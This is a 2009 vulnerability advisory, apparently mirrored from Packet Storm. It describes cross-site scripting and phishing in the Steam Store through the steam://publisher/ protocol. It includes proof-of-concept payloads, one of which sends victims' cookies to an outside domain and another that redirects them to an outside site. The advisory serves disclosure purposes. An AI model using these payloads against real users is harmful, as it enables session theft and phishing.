Lucene search
K

Steam Cross Site Scripting

🗓️ 19 May 2009 00:00:00Reported by Gabriel LimaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 31 Views

Steam Store allows JavaScript/HTML injection via steam:// protocol, leading to phishing and XSS vulnerabilities.

Code
`STEAM - Phishing and Cross-site Scripting  
===========================================  
= APP: STEAM - Valve Software =  
===========================================  
- STEAM < http://www.steampowered.com >  
- Valve Software < http://www.valvesoftware.com >  
  
- Vulnerability Discovery: Gabriel Lima < gabriel (at)  
falandodeseguranca.com >  
- http://www.falandodeseguranca.com (in portuguese)  
  
===========================================  
- Description -  
===========================================  
  
It's possible to input JavaScript\HTML in Steam Store tab (inside Steam  
App.), using the Steam  
Protocol (steam://) which can be exploited in a html page.  
  
"steam://publisher/<name> Loads the specified publisher catalogue in the  
Store. Type the  
publisher's name in lowercase, e.g. activision or valve."  
  
When using a publisher name that doesn't exist, Steam Store sends the value  
to the search  
system, which is vulnerable to XSS.  
  
Store tab in Steam doesn't show the URL. Phishing is possible just  
redirecting the victim to  
the fake site.  
  
VALVE was contacted in May 10, but they didn't reply anything (May 18).  
  
Works in Internet Explorer.  
Tested under Windows XP SP 3 and Windows Vista.  
  
  
===========================================  
- Proof of Concept -  
===========================================  
  
[1] Alert with text xss  
steam://publisher/<img%20src=a%20onerror=alert('xss')>  
  
[2] PHISING (in this example, it redirects to falandodeseguranca.com )  
steam://publisher/<img%20src=a%20  
onerror=document.location.href='http'+String.fromCharCode(58,47,47)+'  
falandodeseguranca.com';>  
  
[3] Getting cookies:  
steam://publisher/<img%20src=a%20  
onerror=document.location.href='http'+String.fromCharCode(58,47,47)+'  
falandodeseguranca.com'+String.fromCharCode(47)+document.cookie;>  
  
  
===========================================  
- More Information -  
===========================================  
The Paper showing how it works, a post with screenshots and a video could be  
found here:  
  
http://www.falandodeseguranca.com/2009/05/vulnerabilidade-no-steam-phishing-e-xss-na-steam-store/(In  
portuguese)  
More information: http://www.falandodeseguranca.com  
  
  
Contact me: gabriel <at> falandodeseguranca.com  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation